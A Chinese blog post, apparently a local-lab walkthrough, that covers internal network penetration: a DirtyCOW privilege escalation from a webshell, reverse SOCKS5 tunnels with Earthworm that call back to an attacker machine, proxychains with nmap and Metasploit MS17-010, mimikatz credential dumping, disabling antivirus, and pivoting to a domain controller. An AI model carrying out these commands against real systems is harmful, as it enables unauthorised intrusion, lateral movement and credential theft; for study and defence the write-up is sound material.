通过SOCKS代理渗透整个内网
https://blog.csdn.net/SouthWind0/article/details/83111044
通过SOCKS代理渗透整个内网
1.背景
经过前期的渗透工作,我们现在已经成功找到了web站点的漏洞,并且获得了一个普通的webshell,现在准备用菜刀去连接它。
注意:本次环境在本地搭建,假设现在一无所知,这样更加真实。
2.对web服务器提权
2.1获取漏洞信息
获取到webshell后使用菜刀连接,查看权限是apache,系统是redhat6.5。
上传linux.sh到/tmp目录下,获取漏洞信息。
2.2使用脏牛提权
1)漏洞基本信息
选择CVE-2016-5195进行提权,该漏洞被称为“脏牛漏洞(DirtyCOW)”,危害是通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。
漏洞是由于Linux 内核的内存子系统在处理 Copy-on-Write 时出现竞争条件(漏洞),导致私有的只读内存映射被破坏、获取读写权限后进一步提权。
2)漏洞利用
在同版本的redhat系统上使用gcc编译此poc。
使用菜刀上传编译后的文件dirty到此web服务器上,给予可执行权限,password为密码,可以随意设置,我们将使用它来登录。
现在查看/etc/passwd文件,发现第一行文件已经必修改,root用户必修改成了firefart,它现在拥有最高权限,而密码我们已经知晓,就是刚才设置的password。从很低的apache权限到root权限,提权结束。
3)使用xshell远程连接
因为菜刀上不太方便, 现在使用xshell远程连接,成功连接。(账号:firefart,密码:password)
可以看到有两个IP,我们猜测拓扑图应该是如下,win10和kali受我们控制,它们处于外网。我们可以访问web服务器的外网接口192.168.1.120,另外一个IP是192.168.223.166,它应该是连接内网,但是我们无法访问。
3.第一次使用SOCKS代理渗透内网
3.1SOCKS代理
1)SOCKS
Socks是一种代理服务,可以简单地将一端的系统连接到另外一端,支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议,其标准端口为1080。
2)Earthworm
EW是一套便携式的网络穿透工具,具有SOCKS5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,而且适用于不同的操作系统。
3)ProxyChains
ProxyChains是Linux下的代理工具,kali已经安装,它可以使任何程序通过代理上网,允许TCP和DNS通过代理隧道,支持HTTP、SOCKS4和SOCKS5类型的代理服务器,并且可配置多个代理。
3.2反弹socks5服务器
1)在kali上
在kali上运行:
./ew_linux_x64 -s rcsocks -l 1080 -e 1234
该命令的意思是在kali上添加一个转接隧道,把本地1080端口收到的代理请求转交给1234端口。
2)在web服务器上
我们刚才在win10已经使用xshell远程连接web服务器,运行:
./ew_linux_x64 -s rssocks -d 192.168.1.109 -e 1234
该命令的意思是在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.1.109(kali)的1234端口上。
3)配置proxychains.conf
现在就可以通过访问127.0.0.1:1080端口使用在右侧web服务器上架设的SOCKS5代理服务了。
/etc/proxychains.conf修改内容如下,去掉dynamic_chain的注释,并且在最后的位置添加代理。
4)测试代理服务器是否正常
cp /usr/lib/proxychains3/proxyresolv /usr/bin/
proxyresolv 192.168.223.166
发现代理正常,现在我们已经可以访问192.168.223.166了。
4.渗透主机A
4.1proxychains启动nmap
用proxychains可以启动任何程序,proxychains配合nmap和msf是内网渗透的大杀器,需要注意的是proxychains不支持udp和icmp协议。现在启动nmap,使用TCP扫描,不使用ping扫描,扫描整个内网,我们发现只能访问下面这台机器,对它进行扫描:
现在我们猜测拓扑图应该是如下,win10和kali受我们控制,它们处于外网,我们可以访问web服务器的外网接口192.168.1.120,另外一个内网IP是192.168.223.166,它只能访问内网的主机A 192.168.223.174。
4.2proxychains启动msf
1)启动msfconsole
2)攻击
选择漏洞利用模块ms17-010,MS17-010漏洞利用模块就是利用windows系统的windows smb远程执行代码漏洞,向Microsoft服务消息块服务器发送经特殊设计的消息后,允许远程代码执行。选择好漏洞利用模块和攻击载荷模块后,配置好参数,开始攻击。
3)获取密码信息
使用mimikatz抓取密码,命令如下:
load mimikatz
kerberos
可以看到域是lingwen,有两个域用户lingwen0001和admin的密码已经破解出来了,都是“lingwen1.”。
4)信息收集
(1)查看系统信息
(2)查看进程
(3)查看系统用户
(4)查看应用软件
(5)查看路由信息和最后登录时间
5)上传ew工具
查看进程号和权限,直接是system,关闭杀毒软件,开启远程桌面协议。
上传ew工具到主机A,为了后面使用这台机器A作为跳板访问其他内网主机。
一般情况下我们输入shell就可以进入目标机的shell下,可是这里不行,之前获得了2个域用户密码,我们尝试远程连接主机A。
4.3远程登录主机A
1)远程登录主机A
使用代理启动rdesktop在kali上远程连接主机A,即192.168.223.174,使用之前获得的admin域账号登录。
2)收集域信息
(1)查看域用户和域的数量
(2)查看域里面的组
(3)查看域内所有主机名
(4)查看域管理员
(5)查看域控制器
(6)查看企业管理组
我们发现之前在主机A获得的域用户admin竟然是域管理员账号。
3)查看dns信息
我们终于发现域控的IP是192.168.223.134。
5. 第二次使用SOCKS代理渗透内网
5.1内网拓扑图
5.2再次代理
1)分析
(1)第一次socks代理
通过第一次socks代理:在kali上添加一个转接隧道,把1080端口收到的代理请求转交给1234端口;在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.1.109(kali)的1234端口上。
之后我们在kali通过web服务器做跳板来访问主机A。
(2)现在的问题
虽然我们知道了域控的IP,域管理员的账号和密码,但是现在我们在kali上连接不到域控。如下所示,远程登录失败。
我们可不可以再次代理,使用主机A做跳板,把经过它的流量反弹到web服务器上,用kali连接web服务器。
2)在web服务器上
使用xshell建立新的会话连接web服务器192.168.1.120,在web服务器上运行:
./ew_linux_x64 -s rcsocks -l 6666 -e 5678
该命令的意思是在web服务器上添加一个转接隧道,把本地6666端口收到的代理请求转交给5678端口。
3)在主机A
在kali远程连接主机A,在主机A上运行:
ew_win32.exe -s rssocks -d 192.168.223.166 -e 5678
该命令的意思是在主机A上启动SOCKS5服务,并反弹到IP地址为192.168.223.166(web服务器)的5678端口上。
4)配置proxychains.conf
现在就可以通过访问192.168.1.120:6666端口使用在主机A上架设的SOCKS5代理服务了。
5)远程连接域控
发现现在已经可以访问域控了,使用域管理员账号成功登录。
通过SOCKS代理渗透整个内网的更多相关文章
- 把www.domain.com均衡到本机不同的端口 反向代理 隐藏端口 Nginx做非80端口转发 搭建nginx反向代理用做内网域名转发 location 规则
负载均衡-Nginx中文文档 http://www.nginx.cn/doc/example/loadbanlance.html 负载均衡 一个简单的负载均衡的示例,把www.domain.com均衡 ...
- 端口被占用通过域名的处理 把www.domain.com均衡到本机不同的端口 反向代理 隐藏端口 Nginx做非80端口转发 搭建nginx反向代理用做内网域名转发 location 规则
负载均衡-Nginx中文文档 http://www.nginx.cn/doc/example/loadbanlance.html 负载均衡 一个简单的负载均衡的示例,把www.domain.com均衡 ...
- Linux渗透+SSH内网转发
http://www.jb51.net/hack/58514.html http://blog.chinaunix.net/uid-756931-id-353243.html http://blog. ...
- 公司内网搭建代理DNS使用内网域名代替ip地址
企业场景 一般在企业内部,开发.测试以及预生产都会有一套供开发以及测试人员使用的网络环境.运维人员会为每套环境的相关项目配置单独的Tomcat,然后开放一个端口,以 IP+Port 的形式访问.然而随 ...
- SSH通过SSH代理连接到内网机器
要解决的问题? 需要解决的问题:https://q.cnblogs.com/q/105319/ 简单来说就是本地机器通过一台公网机器SSH到公网机器后面的私网机器. 网络环境如下图:本地机器可访问代理 ...
- 搭建nginx反向代理用做内网域名转发
先上一个我的正常使用的配置 location / { proxy_pass http://192.168.1.84:80; proxy_redirect off; proxy_set_header H ...
- sockets+proxychains代理,使内网服务器可以访问外网
Socks5+proxychains做正向代理 1. 应用场景: 有一台能上外网的机子,内网机子都不能连外网,需求是内网机子程序需要访问外网,做正向代理. 2. 软件 ...
- SSH反向代理转发至内网msf
前言 买了个便宜的 vps , 在上面装 msf 也装不上,于是想着把端口映射到内网来. 正文 拓扑如下: 首先在内网主机 B ssh -fCNR 7281:localhost:5000 root@C ...
- 用iptables做NAT代理,使内网机器上外网
现状:服务器A只有一个内网IP,不能上外网,内网IP与服务器B内网相通:服务器B有一个内网IP和公网IP.想实现服务器A也能上外网. 1 2 3 4 服务器A:内网网卡:eth0 内网IP:192.1 ...
随机推荐
- FriendlyCore overlayfs 挂载方式
友善 friendlycore 挂载 overlayfs 过程: uboot 引导系统启动的时候加载 ramdisk.img 这个 cpio 格式的 initrd(虚拟文件系统). 注意: ramd ...
- fastjson异常(字符串集合转成字符串数组)
我是在项目中,因为受到一个string类型的list集合,然后需要把这个字符串发送给前端,进行解析. 但是前端收到的是一个字符串,不能进行解析. 所以采用 ArrayUtils.clone(JSONO ...
- 《基于 UML 的教务系统设计方法研究》论文笔记(十五)
标题:基于 UML 的教务系统设计方法研究 时间:2009 来源:太原师范学院 关键词:UML:面向对象:建模:教务管理系统. 二.研究内容 UML 建模 UML 涵盖了面向对象的分析.设计和实现,融 ...
- 《CoderXiaoban团队》实验十 团队作业6:团队项目系统设计改进与详细设计
实验十 团队作业6:团队项目系统设计改进与详细设计 项目 内容 这个作业属于哪个课程 任课教师博客主页链接 这个作业的要求在哪里 实验十 团队作业6:团队项目系统设计改进与详细设计 团队名称 Code ...
- 洛谷 P3388 【模板】割点(割顶)题解
今天学了割点,就A了这道板子,比较难理解的地方就在于如果是根节点就要找两个点来满足low[y]>=dfn[x],如果不是就只需找一个点来满足.Tarjan(i,i)中第一个i是开始搜索的点而第 ...
- 查看.NET应用程序中的异常(上)
内存转储是查明托管.NET应用程序中异常的原因的一种极好的方法,特别是在生产应用程序中发生异常时.当您在无法使用Visual Studio的应用程序中跟踪异常时,cdb和sos.dll的使用技术就变成 ...
- python(二)——if条件语句与基本数据类型
if语句 缩进要保持一致 if 1 == 1: print('hello') if 2 == 2: print('world') else: print('python') elif inp = in ...
- telegraf 学习二 几个概念
telegraf 自身包好了自己处理metrics 的数据模型,以及出炉方法 metrics Telegraf指标是用于在处理期间对数据建模的内部表示.这些指标完全基于InfluxDB的数据模型,包含 ...
- Debian 9 安装 libsodium
到这里查看最新的版本号.如现在最新的版本号为1.0.18.下面均以该版本为例. 下载.编译和安装: wget https://download.libsodium.org/libsodium/rele ...
- 【后缀数组】【LuoguP4051】 [JSOI2007]字符加密
题目链接 题目描述 喜欢钻研问题的JS 同学,最近又迷上了对加密方法的思考.一天,他突然想出了一种他认为是终极的加密办法:把需要加密的信息排成一圈,显然,它们有很多种不同的读法. 例如'JSOI07' ...